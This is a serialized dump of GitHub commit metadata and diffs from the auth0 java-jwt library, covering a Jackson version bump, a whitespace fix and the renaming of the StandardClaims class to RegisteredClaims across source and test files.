author Evan Sims <evan.sims@auth0.com> 1647133318 -0500
committer GitHub <noreply@github.com> 1647133318 -0500

Update build.gradleuuj  \https://api.github.com/repos/auth0/java-jwt/commits/2e1eafa513016b5d144413aae07c008fd6e5509dhtml_urlQhttps://github.com/auth0/java-jwt/commit/2e1eafa513016b5d144413aae07c008fd6e5509dcomments_urlehttps://api.github.com/repos/auth0/java-jwt/commits/2e1eafa513016b5d144413aae07c008fd6e5509d/commentsj  }(loginevansimsidMj܍  MDQ6VXNlcjMwOTM=
avatar_url0https://avatars.githubusercontent.com/u/3093?v=4gravatar_idh3j  %https://api.github.com/users/evansimsj   https://github.com/evansims
followers_url/https://api.github.com/users/evansims/followers
following_url<https://api.github.com/users/evansims/following{/other_user}	gists_url5https://api.github.com/users/evansims/gists{/gist_id}starred_url<https://api.github.com/users/evansims/starred{/owner}{/repo}subscriptions_url3https://api.github.com/users/evansims/subscriptionsorganizations_url*https://api.github.com/users/evansims/orgs	repos_url+https://api.github.com/users/evansims/repos
events_url6https://api.github.com/users/evansims/events{/privacy}received_events_url5https://api.github.com/users/evansims/received_eventstypeUser
site_adminuj  }(j  web-flowj  J/j܍  MDQ6VXNlcjE5ODY0NDQ3j	  4https://avatars.githubusercontent.com/u/19864447?v=4j  h3j  %https://api.github.com/users/web-flowj   https://github.com/web-flowj  /https://api.github.com/users/web-flow/followersj  <https://api.github.com/users/web-flow/following{/other_user}j  5https://api.github.com/users/web-flow/gists{/gist_id}j  <https://api.github.com/users/web-flow/starred{/owner}{/repo}j  3https://api.github.com/users/web-flow/subscriptionsj  *https://api.github.com/users/web-flow/orgsj  +https://api.github.com/users/web-flow/reposj  6https://api.github.com/users/web-flow/events{/privacy}j  5https://api.github.com/users/web-flow/received_eventsj   Userj"  uparents]}(jڍ  (e4c01b958a2b2bf2cb90431fb802b6f8eff85c62j  \https://api.github.com/repos/auth0/java-jwt/commits/e4c01b958a2b2bf2cb90431fb802b6f8eff85c62j   Qhttps://github.com/auth0/java-jwt/commit/e4c01b958a2b2bf2cb90431fb802b6f8eff85c62uastats}(totalK	additionsK	deletionsKufiles]}(jڍ  (55f531b8615d8f644fe703f9bb1bd254f4fceb5bfilenamelib/build.gradlestatusmodifiedj<  Kj=  KchangesKblob_urlbhttps://github.com/auth0/java-jwt/blob/2e1eafa513016b5d144413aae07c008fd6e5509d/lib%2Fbuild.gradleraw_urlahttps://github.com/auth0/java-jwt/raw/2e1eafa513016b5d144413aae07c008fd6e5509d/lib%2Fbuild.gradlecontents_urlthttps://api.github.com/repos/auth0/java-jwt/contents/lib%2Fbuild.gradle?ref=2e1eafa513016b5d144413aae07c008fd6e5509dpatchXc  @@ -47,7 +47,7 @@ javadoc {
 }
 
 dependencies {
-    implementation 'com.fasterxml.jackson.core:jackson-databind:2.13'
+    implementation 'com.fasterxml.jackson.core:jackson-databind:2.13.2'
     testImplementation 'org.bouncycastle:bcprov-jdk15on:1.60'
     testImplementation 'junit:junit:4.12'
     testImplementation 'net.jodah:concurrentunit:0.4.3'uau(c43a24178d4811c547d31520cd4bd5b1d8fb38cd}(sha(c43a24178d4811c547d31520cd4bd5b1d8fb38cdnode_idEC_kwDOAQtL0doAKGM0M2EyNDE3OGQ0ODExYzU0N2QzMTUyMGNkNGJkNWIxZDhmYjM4Y2Qcommit}(author}(nameRobin Karlssonemailsnago86@gmail.comdate2023-03-27T15:44:39Zu	committer}(jY  Robin Karlssonj[  snago86@gmail.comj]  2023-03-27T15:44:39Zumessage"Oops, remove unintended whitespacetree}(jQ  (4ea8cd6a3286171576cfaed10e2b3f1566ddd30durl^https://api.github.com/repos/auth0/java-jwt/git/trees/4ea8cd6a3286171576cfaed10e2b3f1566ddd30duji  `https://api.github.com/repos/auth0/java-jwt/git/commits/c43a24178d4811c547d31520cd4bd5b1d8fb38cd
comment_countK verification}(verifiedreasonunsigned	signatureNpayloadNuuji  \https://api.github.com/repos/auth0/java-jwt/commits/c43a24178d4811c547d31520cd4bd5b1d8fb38cdhtml_urlQhttps://github.com/auth0/java-jwt/commit/c43a24178d4811c547d31520cd4bd5b1d8fb38cdcomments_urlehttps://api.github.com/repos/auth0/java-jwt/commits/c43a24178d4811c547d31520cd4bd5b1d8fb38cd/commentsjW  }(loginsnagoidJρ jS  MDQ6VXNlcjU1NzUxOQ==
avatar_url2https://avatars.githubusercontent.com/u/557519?v=4gravatar_idh3ji  "https://api.github.com/users/snagoju  https://github.com/snago
followers_url,https://api.github.com/users/snago/followers
following_url9https://api.github.com/users/snago/following{/other_user}	gists_url2https://api.github.com/users/snago/gists{/gist_id}starred_url9https://api.github.com/users/snago/starred{/owner}{/repo}subscriptions_url0https://api.github.com/users/snago/subscriptionsorganizations_url'https://api.github.com/users/snago/orgs	repos_url(https://api.github.com/users/snago/repos
events_url3https://api.github.com/users/snago/events{/privacy}received_events_url2https://api.github.com/users/snago/received_eventstypeUser
site_adminuj_  }(jz  snagoj|  Jρ jS  MDQ6VXNlcjU1NzUxOQ==j~  2https://avatars.githubusercontent.com/u/557519?v=4j  h3ji  "https://api.github.com/users/snagoju  https://github.com/snagoj  ,https://api.github.com/users/snago/followersj  9https://api.github.com/users/snago/following{/other_user}j  2https://api.github.com/users/snago/gists{/gist_id}j  9https://api.github.com/users/snago/starred{/owner}{/repo}j  0https://api.github.com/users/snago/subscriptionsj  'https://api.github.com/users/snago/orgsj  (https://api.github.com/users/snago/reposj  3https://api.github.com/users/snago/events{/privacy}j  2https://api.github.com/users/snago/received_eventsj  Userj  uparents]}(jQ  (b8c91b7d0b3ef4c54e09c6a4db273bf208b7956aji  \https://api.github.com/repos/auth0/java-jwt/commits/b8c91b7d0b3ef4c54e09c6a4db273bf208b7956aju  Qhttps://github.com/auth0/java-jwt/commit/b8c91b7d0b3ef4c54e09c6a4db273bf208b7956auastats}(totalK	additionsK	deletionsKufiles]}(jQ  (53cd267b6a5761920caba81336978054fba11dccfilename3lib/src/test/java/com/auth0/jwt/JWTCreatorTest.javastatusmodifiedj  Kj  KchangesKblob_urlhttps://github.com/auth0/java-jwt/blob/c43a24178d4811c547d31520cd4bd5b1d8fb38cd/lib%2Fsrc%2Ftest%2Fjava%2Fcom%2Fauth0%2Fjwt%2FJWTCreatorTest.javaraw_urlhttps://github.com/auth0/java-jwt/raw/c43a24178d4811c547d31520cd4bd5b1d8fb38cd/lib%2Fsrc%2Ftest%2Fjava%2Fcom%2Fauth0%2Fjwt%2FJWTCreatorTest.javacontents_urlhttps://api.github.com/repos/auth0/java-jwt/contents/lib%2Fsrc%2Ftest%2Fjava%2Fcom%2Fauth0%2Fjwt%2FJWTCreatorTest.java?ref=c43a24178d4811c547d31520cd4bd5b1d8fb38cdpatchX  @@ -973,7 +973,7 @@ public void withPayloadShouldSupportJsonValueWithNestedDataStructure() {
                 .sign(Algorithm.HMAC256("secret"));
 
         assertThat(jwt, is(notNullValue()));
-        String[] parts = jwt.split("\\.")  ;
+        String[] parts = jwt.split("\\.");
         String payloadJson = new String(Base64.getUrlDecoder().decode(parts[1]), StandardCharsets.UTF_8);
 
         assertThat(payloadJson, JsonMatcher.hasEntry("stringClaim", stringClaim));uau(035f323dc4e0c4654c661c050843f521028aec21}(sha(035f323dc4e0c4654c661c050843f521028aec21node_idEC_kwDOAQtL0doAKDAzNWYzMjNkYzRlMGM0NjU0YzY2MWMwNTA4NDNmNTIxMDI4YWVjMjEcommit}(author}(nameJames Andersonemailjim.anderson@auth0.comdate2022-04-13T18:01:04Zu	committer}(jΎ  James AndersonjЎ  jim.anderson@auth0.comjҎ  2022-04-13T18:01:04ZumessageUpdate class namestree}(jƎ  (7f2817f49af9c1f74109860ae253e16a8a06c008url^https://api.github.com/repos/auth0/java-jwt/git/trees/7f2817f49af9c1f74109860ae253e16a8a06c008ujގ  `https://api.github.com/repos/auth0/java-jwt/git/commits/035f323dc4e0c4654c661c050843f521028aec21
comment_countK verification}(verifiedreasonunsigned	signatureNpayloadNuujގ  \https://api.github.com/repos/auth0/java-jwt/commits/035f323dc4e0c4654c661c050843f521028aec21html_urlQhttps://github.com/auth0/java-jwt/commit/035f323dc4e0c4654c661c050843f521028aec21comments_urlehttps://api.github.com/repos/auth0/java-jwt/commits/035f323dc4e0c4654c661c050843f521028aec21/commentsj̎  }(login
jimmyjamesidJ7 jȎ  MDQ6VXNlcjI3NjIyNQ==
avatar_url2https://avatars.githubusercontent.com/u/276225?v=4gravatar_idh3jގ  'https://api.github.com/users/jimmyjamesj  https://github.com/jimmyjames
followers_url1https://api.github.com/users/jimmyjames/followers
following_url>https://api.github.com/users/jimmyjames/following{/other_user}	gists_url7https://api.github.com/users/jimmyjames/gists{/gist_id}starred_url>https://api.github.com/users/jimmyjames/starred{/owner}{/repo}subscriptions_url5https://api.github.com/users/jimmyjames/subscriptionsorganizations_url,https://api.github.com/users/jimmyjames/orgs	repos_url-https://api.github.com/users/jimmyjames/repos
events_url8https://api.github.com/users/jimmyjames/events{/privacy}received_events_url7https://api.github.com/users/jimmyjames/received_eventstypeUser
site_adminujԎ  }(j  
jimmyjamesj  J7 jȎ  MDQ6VXNlcjI3NjIyNQ==j  2https://avatars.githubusercontent.com/u/276225?v=4j  h3jގ  'https://api.github.com/users/jimmyjamesj  https://github.com/jimmyjamesj  1https://api.github.com/users/jimmyjames/followersj  >https://api.github.com/users/jimmyjames/following{/other_user}j  7https://api.github.com/users/jimmyjames/gists{/gist_id}j  >https://api.github.com/users/jimmyjames/starred{/owner}{/repo}j   5https://api.github.com/users/jimmyjames/subscriptionsj  ,https://api.github.com/users/jimmyjames/orgsj  -https://api.github.com/users/jimmyjames/reposj  8https://api.github.com/users/jimmyjames/events{/privacy}j  7https://api.github.com/users/jimmyjames/received_eventsj
  Userj  uparents]}(jƎ  (5da2806b592daeef57b37e5d5461de6d0ef2bbe9jގ  \https://api.github.com/repos/auth0/java-jwt/commits/5da2806b592daeef57b37e5d5461de6d0ef2bbe9j  Qhttps://github.com/auth0/java-jwt/commit/5da2806b592daeef57b37e5d5461de6d0ef2bbe9uastats}(totalK	additionsKF	deletionsKFufiles](}(jƎ  (cab474f765907aa05b552dfe52e9007967443631filename/lib/src/main/java/com/auth0/jwt/JWTCreator.javastatusmodifiedj&  K
j'  K
changesKblob_urlhttps://github.com/auth0/java-jwt/blob/035f323dc4e0c4654c661c050843f521028aec21/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2FJWTCreator.javaraw_urlhttps://github.com/auth0/java-jwt/raw/035f323dc4e0c4654c661c050843f521028aec21/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2FJWTCreator.javacontents_urlhttps://api.github.com/repos/auth0/java-jwt/contents/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2FJWTCreator.java?ref=035f323dc4e0c4654c661c050843f521028aec21patchXO
  @@ -115,7 +115,7 @@ public Builder withKeyId(String keyId) {
          * @return this same Builder instance.
          */
         public Builder withIssuer(String issuer) {
-            addClaim(StandardClaims.ISSUER, issuer);
+            addClaim(RegisteredClaims.ISSUER, issuer);
             return this;
         }
 
@@ -126,7 +126,7 @@ public Builder withIssuer(String issuer) {
          * @return this same Builder instance.
          */
         public Builder withSubject(String subject) {
-            addClaim(StandardClaims.SUBJECT, subject);
+            addClaim(RegisteredClaims.SUBJECT, subject);
             return this;
         }
 
@@ -137,7 +137,7 @@ public Builder withSubject(String subject) {
          * @return this same Builder instance.
          */
         public Builder withAudience(String... audience) {
-            addClaim(StandardClaims.AUDIENCE, audience);
+            addClaim(RegisteredClaims.AUDIENCE, audience);
             return this;
         }
 
@@ -149,7 +149,7 @@ public Builder withAudience(String... audience) {
          * @return this same Builder instance.
          */
         public Builder withExpiresAt(Date expiresAt) {
-            addClaim(StandardClaims.EXPIRES_AT, expiresAt);
+            addClaim(RegisteredClaims.EXPIRES_AT, expiresAt);
             return this;
         }
 
@@ -161,7 +161,7 @@ public Builder withExpiresAt(Date expiresAt) {
          * @return this same Builder instance.
          */
         public Builder withExpiresAt(Instant expiresAt) {
-            addClaim(StandardClaims.EXPIRES_AT, expiresAt);
+            addClaim(RegisteredClaims.EXPIRES_AT, expiresAt);
             return this;
         }
 
@@ -173,7 +173,7 @@ public Builder withExpiresAt(Instant expiresAt) {
          * @return this same Builder instance.
          */
         public Builder withNotBefore(Date notBefore) {
-            addClaim(StandardClaims.NOT_BEFORE, notBefore);
+            addClaim(RegisteredClaims.NOT_BEFORE, notBefore);
             return this;
         }
 
@@ -185,7 +185,7 @@ public Builder withNotBefore(Date notBefore) {
          * @return this same Builder instance.
          */
         public Builder withNotBefore(Instant notBefore) {
-            addClaim(StandardClaims.NOT_BEFORE, notBefore);
+            addClaim(RegisteredClaims.NOT_BEFORE, notBefore);
             return this;
         }
 
@@ -197,7 +197,7 @@ public Builder withNotBefore(Instant notBefore) {
          * @return this same Builder instance.
          */
         public Builder withIssuedAt(Date issuedAt) {
-            addClaim(StandardClaims.ISSUED_AT, issuedAt);
+            addClaim(RegisteredClaims.ISSUED_AT, issuedAt);
             return this;
         }
 
@@ -209,7 +209,7 @@ public Builder withIssuedAt(Date issuedAt) {
          * @return this same Builder instance.
          */
         public Builder withIssuedAt(Instant issuedAt) {
-            addClaim(StandardClaims.ISSUED_AT, issuedAt);
+            addClaim(RegisteredClaims.ISSUED_AT, issuedAt);
             return this;
         }
 
@@ -220,7 +220,7 @@ public Builder withIssuedAt(Instant issuedAt) {
          * @return this same Builder instance.
          */
         public Builder withJWTId(String jwtId) {
-            addClaim(StandardClaims.JWT_ID, jwtId);
+            addClaim(RegisteredClaims.JWT_ID, jwtId);
             return this;
         }
 u}(jƎ  (8b4639ac254b17793d29d93d58151d27ae81e007j,  0lib/src/main/java/com/auth0/jwt/JWTVerifier.javaj.  modifiedj&  Kj'  Kj0  K*j1  https://github.com/auth0/java-jwt/blob/035f323dc4e0c4654c661c050843f521028aec21/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2FJWTVerifier.javaj3  https://github.com/auth0/java-jwt/raw/035f323dc4e0c4654c661c050843f521028aec21/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2FJWTVerifier.javaj5  https://api.github.com/repos/auth0/java-jwt/contents/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2FJWTVerifier.java?ref=035f323dc4e0c4654c661c050843f521028aec21j7  X\  @@ -70,13 +70,13 @@ public static class BaseVerification implements Verification {
         @Override
         public Verification withIssuer(String... issuer) {
             List<String> value = isNullOrEmpty(issuer) ? null : Arrays.asList(issuer);
-            addCheck(StandardClaims.ISSUER, ((claim, decodedJWT) -> {
+            addCheck(RegisteredClaims.ISSUER, ((claim, decodedJWT) -> {
                 if (verifyNull(claim, value)) {
                     return true;
                 }
                 if (value == null || !value.contains(claim.asString())) {
                     throw new IncorrectClaimException(
-                            "The Claim 'iss' value doesn't match the required issuer.", StandardClaims.ISSUER, claim);
+                            "The Claim 'iss' value doesn't match the required issuer.", RegisteredClaims.ISSUER, claim);
                 }
                 return true;
             }));
@@ -85,21 +85,21 @@ public Verification withIssuer(String... issuer) {
 
         @Override
         public Verification withSubject(String subject) {
-            addCheck(StandardClaims.SUBJECT, (claim, decodedJWT) ->
+            addCheck(RegisteredClaims.SUBJECT, (claim, decodedJWT) ->
                     verifyNull(claim, subject) || subject.equals(claim.asString()));
             return this;
         }
 
         @Override
         public Verification withAudience(String... audience) {
             List<String> value = isNullOrEmpty(audience) ? null : Arrays.asList(audience);
-            addCheck(StandardClaims.AUDIENCE, ((claim, decodedJWT) -> {
+            addCheck(RegisteredClaims.AUDIENCE, ((claim, decodedJWT) -> {
                 if (verifyNull(claim, value)) {
                     return true;
                 }
                 if (!assertValidAudienceClaim(decodedJWT.getAudience(), value, true)) {
                     throw new IncorrectClaimException("The Claim 'aud' value doesn't contain the required audience.",
-                            StandardClaims.AUDIENCE, claim);
+                            RegisteredClaims.AUDIENCE, claim);
                 }
                 return true;
             }));
@@ -109,13 +109,13 @@ public Verification withAudience(String... audience) {
         @Override
         public Verification withAnyOfAudience(String... audience) {
             List<String> value = isNullOrEmpty(audience) ? null : Arrays.asList(audience);
-            addCheck(StandardClaims.AUDIENCE, ((claim, decodedJWT) -> {
+            addCheck(RegisteredClaims.AUDIENCE, ((claim, decodedJWT) -> {
                 if (verifyNull(claim, value)) {
                     return true;
                 }
                 if (!assertValidAudienceClaim(decodedJWT.getAudience(), value, false)) {
                     throw new IncorrectClaimException("The Claim 'aud' value doesn't contain the required audience.",
-                            StandardClaims.AUDIENCE, claim);
+                            RegisteredClaims.AUDIENCE, claim);
                 }
                 return true;
             }));
@@ -132,21 +132,21 @@ public Verification acceptLeeway(long leeway) throws IllegalArgumentException {
         @Override
         public Verification acceptExpiresAt(long leeway) throws IllegalArgumentException {
             assertPositive(leeway);
-            customLeeways.put(StandardClaims.EXPIRES_AT, leeway);
+            customLeeways.put(RegisteredClaims.EXPIRES_AT, leeway);
             return this;
         }
 
         @Override
         public Verification acceptNotBefore(long leeway) throws IllegalArgumentException {
             assertPositive(leeway);
-            customLeeways.put(StandardClaims.NOT_BEFORE, leeway);
+            customLeeways.put(RegisteredClaims.NOT_BEFORE, leeway);
             return this;
         }
 
         @Override
         public Verification acceptIssuedAt(long leeway) throws IllegalArgumentException {
             assertPositive(leeway);
-            customLeeways.put(StandardClaims.ISSUED_AT, leeway);
+            customLeeways.put(RegisteredClaims.ISSUED_AT, leeway);
             return this;
         }
 
@@ -158,7 +158,7 @@ public Verification ignoreIssuedAt() {
 
         @Override
         public Verification withJWTId(String jwtId) {
-            addCheck(StandardClaims.JWT_ID, ((claim, decodedJWT) ->
+            addCheck(RegisteredClaims.JWT_ID, ((claim, decodedJWT) ->
                     verifyNull(claim, jwtId) || jwtId.equals(claim.asString())));
             return this;
         }
@@ -296,17 +296,17 @@ public long getLeewayFor(String name) {
         }
 
         private void addMandatoryClaimChecks() {
-            long expiresAtLeeway = getLeewayFor(StandardClaims.EXPIRES_AT);
-            long notBeforeLeeway = getLeewayFor(StandardClaims.NOT_BEFORE);
-            long issuedAtLeeway = getLeewayFor(StandardClaims.ISSUED_AT);
-
-            expectedChecks.add(constructExpectedCheck(StandardClaims.EXPIRES_AT, (claim, decodedJWT) ->
-                    assertValidInstantClaim(StandardClaims.EXPIRES_AT, claim, expiresAtLeeway, true)));
-            expectedChecks.add(constructExpectedCheck(StandardClaims.NOT_BEFORE, (claim, decodedJWT) ->
-                    assertValidInstantClaim(StandardClaims.NOT_BEFORE, claim, notBeforeLeeway, false)));
+            long expiresAtLeeway = getLeewayFor(RegisteredClaims.EXPIRES_AT);
+            long notBeforeLeeway = getLeewayFor(RegisteredClaims.NOT_BEFORE);
+            long issuedAtLeeway = getLeewayFor(RegisteredClaims.ISSUED_AT);
+
+            expectedChecks.add(constructExpectedCheck(RegisteredClaims.EXPIRES_AT, (claim, decodedJWT) ->
+                    assertValidInstantClaim(RegisteredClaims.EXPIRES_AT, claim, expiresAtLeeway, true)));
+            expectedChecks.add(constructExpectedCheck(RegisteredClaims.NOT_BEFORE, (claim, decodedJWT) ->
+                    assertValidInstantClaim(RegisteredClaims.NOT_BEFORE, claim, notBeforeLeeway, false)));
             if (!ignoreIssuedAt) {
-                expectedChecks.add(constructExpectedCheck(StandardClaims.ISSUED_AT, (claim, decodedJWT) ->
-                        assertValidInstantClaim(StandardClaims.ISSUED_AT, claim, issuedAtLeeway, false)));
+                expectedChecks.add(constructExpectedCheck(RegisteredClaims.ISSUED_AT, (claim, decodedJWT) ->
+                        assertValidInstantClaim(RegisteredClaims.ISSUED_AT, claim, issuedAtLeeway, false)));
             }
         }
 u}(jƎ  (d60d9fc55d62304c67b1117d9bcc3a9e9860f83dj,  5lib/src/main/java/com/auth0/jwt/RegisteredClaims.javaj.  renamedj&  Kj'  Kj0  Kj1  https://github.com/auth0/java-jwt/blob/035f323dc4e0c4654c661c050843f521028aec21/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2FRegisteredClaims.javaj3  https://github.com/auth0/java-jwt/raw/035f323dc4e0c4654c661c050843f521028aec21/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2FRegisteredClaims.javaj5  https://api.github.com/repos/auth0/java-jwt/contents/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2FRegisteredClaims.java?ref=035f323dc4e0c4654c661c050843f521028aec21j7  Xu  @@ -4,9 +4,9 @@
  * Contains constants representing the name of the Registered Claim Names as defined in Section 4.1.1 of
  * <a href="https://datatracker.ietf.org/doc/html/rfc7519#section-4.1">RFC 7529</a>
  */
-public final class StandardClaims {
+public final class RegisteredClaims {
 
-    private StandardClaims() {
+    private RegisteredClaims() {
     }
 
     /**previous_filename3lib/src/main/java/com/auth0/jwt/StandardClaims.javau}(jƎ  (37e70f7a96362c1682e0f2e9739c50fd9f6befeaj,  =lib/src/main/java/com/auth0/jwt/impl/PayloadDeserializer.javaj.  modifiedj&  Kj'  Kj0  Kj1  https://github.com/auth0/java-jwt/blob/035f323dc4e0c4654c661c050843f521028aec21/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2Fimpl%2FPayloadDeserializer.javaj3  https://github.com/auth0/java-jwt/raw/035f323dc4e0c4654c661c050843f521028aec21/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2Fimpl%2FPayloadDeserializer.javaj5  https://api.github.com/repos/auth0/java-jwt/contents/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2Fimpl%2FPayloadDeserializer.java?ref=035f323dc4e0c4654c661c050843f521028aec21j7  X  @@ -1,6 +1,6 @@
 package com.auth0.jwt.impl;
 
-import com.auth0.jwt.StandardClaims;
+import com.auth0.jwt.RegisteredClaims;
 import com.auth0.jwt.exceptions.JWTDecodeException;
 import com.auth0.jwt.interfaces.Payload;
 import com.fasterxml.jackson.core.JsonParser;
@@ -44,13 +44,13 @@ public Payload deserialize(JsonParser p, DeserializationContext ctxt) throws IOE
             throw new JWTDecodeException("Parsing the Payload's JSON resulted on a Null map");
         }
 
-        String issuer = getString(tree, StandardClaims.ISSUER);
-        String subject = getString(tree, StandardClaims.SUBJECT);
-        List<String> audience = getStringOrArray(tree, StandardClaims.AUDIENCE);
-        Instant expiresAt = getInstantFromSeconds(tree, StandardClaims.EXPIRES_AT);
-        Instant notBefore = getInstantFromSeconds(tree, StandardClaims.NOT_BEFORE);
-        Instant issuedAt = getInstantFromSeconds(tree, StandardClaims.ISSUED_AT);
-        String jwtId = getString(tree, StandardClaims.JWT_ID);
+        String issuer = getString(tree, RegisteredClaims.ISSUER);
+        String subject = getString(tree, RegisteredClaims.SUBJECT);
+        List<String> audience = getStringOrArray(tree, RegisteredClaims.AUDIENCE);
+        Instant expiresAt = getInstantFromSeconds(tree, RegisteredClaims.EXPIRES_AT);
+        Instant notBefore = getInstantFromSeconds(tree, RegisteredClaims.NOT_BEFORE);
+        Instant issuedAt = getInstantFromSeconds(tree, RegisteredClaims.ISSUED_AT);
+        String jwtId = getString(tree, RegisteredClaims.JWT_ID);
 
         return new PayloadImpl(issuer, subject, audience, expiresAt, notBefore, issuedAt, jwtId, tree, objectReader);
     }u}(jƎ  (c8df2bb9793a2c085b12e304d8c38bca31234d69j,  ;lib/src/main/java/com/auth0/jwt/impl/PayloadSerializer.javaj.  modifiedj&  Kj'  Kj0  Kj1  https://github.com/auth0/java-jwt/blob/035f323dc4e0c4654c661c050843f521028aec21/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2Fimpl%2FPayloadSerializer.javaj3  https://github.com/auth0/java-jwt/raw/035f323dc4e0c4654c661c050843f521028aec21/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2Fimpl%2FPayloadSerializer.javaj5  https://api.github.com/repos/auth0/java-jwt/contents/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2Fimpl%2FPayloadSerializer.java?ref=035f323dc4e0c4654c661c050843f521028aec21j7  XZ  @@ -1,6 +1,6 @@
 package com.auth0.jwt.impl;
 
-import com.auth0.jwt.StandardClaims;
+import com.auth0.jwt.RegisteredClaims;
 import com.fasterxml.jackson.core.JsonGenerator;
 
 import java.io.IOException;
@@ -23,7 +23,7 @@ public PayloadSerializer() {
 
     @Override
     protected void writeClaim(Map.Entry<String, Object> entry, JsonGenerator gen) throws IOException {
-        if (StandardClaims.AUDIENCE.equals(entry.getKey())) {
+        if (RegisteredClaims.AUDIENCE.equals(entry.getKey())) {
             writeAudience(gen, entry);
         } else {
             super.writeClaim(entry, gen);u}(jƎ  (efe6b94bd466cfd58589156c5fffcb726f806888j,  3lib/src/test/java/com/auth0/jwt/JWTCreatorTest.javaj.  modifiedj&  Kj'  Kj0  Kj1  https://github.com/auth0/java-jwt/blob/035f323dc4e0c4654c661c050843f521028aec21/lib%2Fsrc%2Ftest%2Fjava%2Fcom%2Fauth0%2Fjwt%2FJWTCreatorTest.javaj3  https://github.com/auth0/java-jwt/raw/035f323dc4e0c4654c661c050843f521028aec21/lib%2Fsrc%2Ftest%2Fjava%2Fcom%2Fauth0%2Fjwt%2FJWTCreatorTest.javaj5  https://api.github.com/repos/auth0/java-jwt/contents/lib%2Fsrc%2Ftest%2Fjava%2Fcom%2Fauth0%2Fjwt%2FJWTCreatorTest.java?ref=035f323dc4e0c4654c661c050843f521028aec21j7  X  @@ -743,7 +743,7 @@ public void withPayloadShouldOverwriteExistingClaimIfPayloadMapContainsTheSameKe
     @Test
     public void shouldOverwriteExistingPayloadWhenSettingSamePayloadKey() {
         Map<String, Object> payload = new HashMap<>();
-        payload.put(StandardClaims.ISSUER, "xyz");
+        payload.put(RegisteredClaims.ISSUER, "xyz");
 
         String jwt = JWTCreator.init()
                 .withPayload(payload)
@@ -753,7 +753,7 @@ public void shouldOverwriteExistingPayloadWhenSettingSamePayloadKey() {
         assertThat(jwt, is(notNullValue()));
         String[] parts = jwt.split("\\.");
         String payloadJson = new String(Base64.getUrlDecoder().decode(parts[1]), StandardCharsets.UTF_8);
-        assertThat(payloadJson, JsonMatcher.hasEntry(StandardClaims.ISSUER, "abc"));
+        assertThat(payloadJson, JsonMatcher.hasEntry(RegisteredClaims.ISSUER, "abc"));
     }
 
     @Testu}(jƎ  (6d8ba20196765ae92f9f86376c22a944118c7bedj,  4lib/src/test/java/com/auth0/jwt/JWTVerifierTest.javaj.  modifiedj&  Kj'  Kj0  K2j1  https://github.com/auth0/java-jwt/blob/035f323dc4e0c4654c661c050843f521028aec21/lib%2Fsrc%2Ftest%2Fjava%2Fcom%2Fauth0%2Fjwt%2FJWTVerifierTest.javaj3  https://github.com/auth0/java-jwt/raw/035f323dc4e0c4654c661c050843f521028aec21/lib%2Fsrc%2Ftest%2Fjava%2Fcom%2Fauth0%2Fjwt%2FJWTVerifierTest.javaj5  https://api.github.com/repos/auth0/java-jwt/contents/lib%2Fsrc%2Ftest%2Fjava%2Fcom%2Fauth0%2Fjwt%2FJWTVerifierTest.java?ref=035f323dc4e0c4654c661c050843f521028aec21j7  X+  @@ -90,7 +90,7 @@ public void shouldThrowOnInvalidIssuer() {
                     .verify(token);
         });
         assertThat(e.getMessage(), is("The Claim 'iss' value doesn't match the required issuer."));
-        assertThat(e.getClaimName(), is(StandardClaims.ISSUER));
+        assertThat(e.getClaimName(), is(RegisteredClaims.ISSUER));
         assertThat(e.getClaimValue().asString(), is("auth0"));
     }
 
@@ -104,7 +104,7 @@ public void shouldThrowOnNullIssuer() {
                     .verify(token);
         });
         assertThat(e.getMessage(), is("The Claim 'iss' value doesn't match the required issuer."));
-        assertThat(e.getClaimName(), is(StandardClaims.ISSUER));
+        assertThat(e.getClaimName(), is(RegisteredClaims.ISSUER));
         assertThat(e.getClaimValue().isNull(), is(true));
     }
 
@@ -144,7 +144,7 @@ public void shouldThrowOnInvalidSubject() {
                     .verify(token);
         });
         assertThat(e.getMessage(), is("The Claim 'sub' value doesn't match the required one."));
-        assertThat(e.getClaimName(), is(StandardClaims.SUBJECT));
+        assertThat(e.getClaimName(), is(RegisteredClaims.SUBJECT));
         assertThat(e.getClaimValue().asString(), is("1234567890"));
     }
 
@@ -248,7 +248,7 @@ public void shouldThrowWhenAudienceHasNoneOfExpectedAnyOfAudience() {
                     .verify(tokenArr);
         });
         assertThat(e.getMessage(), is("The Claim 'aud' value doesn't contain the required audience."));
-        assertThat(e.getClaimName(), is(StandardClaims.AUDIENCE));
+        assertThat(e.getClaimName(), is(RegisteredClaims.AUDIENCE));
         assertThat(e.getClaimValue().asArray(String.class), is(new String[] {"Mark","David","John"}));
     }
 
@@ -263,7 +263,7 @@ public void shouldThrowWhenAudienceClaimDoesNotContainAllExpected() {
                     .verify(token);
         });
         assertThat(e.getMessage(), is("The Claim 'aud' value doesn't contain the required audience."));
-        assertThat(e.getClaimName(), is(StandardClaims.AUDIENCE));
+        assertThat(e.getClaimName(), is(RegisteredClaims.AUDIENCE));
         assertThat(e.getClaimValue().asArray(String.class), is(new String[] {"Mark","David","John"}));
     }
 
@@ -278,7 +278,7 @@ public void shouldThrowWhenAudienceClaimIsNull() {
                     .verify(token);
         });
         assertThat(e.getMessage(), is("The Claim 'aud' value doesn't contain the required audience."));
-        assertThat(e.getClaimName(), is(StandardClaims.AUDIENCE));
+        assertThat(e.getClaimName(), is(RegisteredClaims.AUDIENCE));
         assertThat(e.getClaimValue().isNull(), is(true));
     }
 
@@ -306,7 +306,7 @@ public void shouldThrowWhenAudienceClaimIsNullWithAnAudience() {
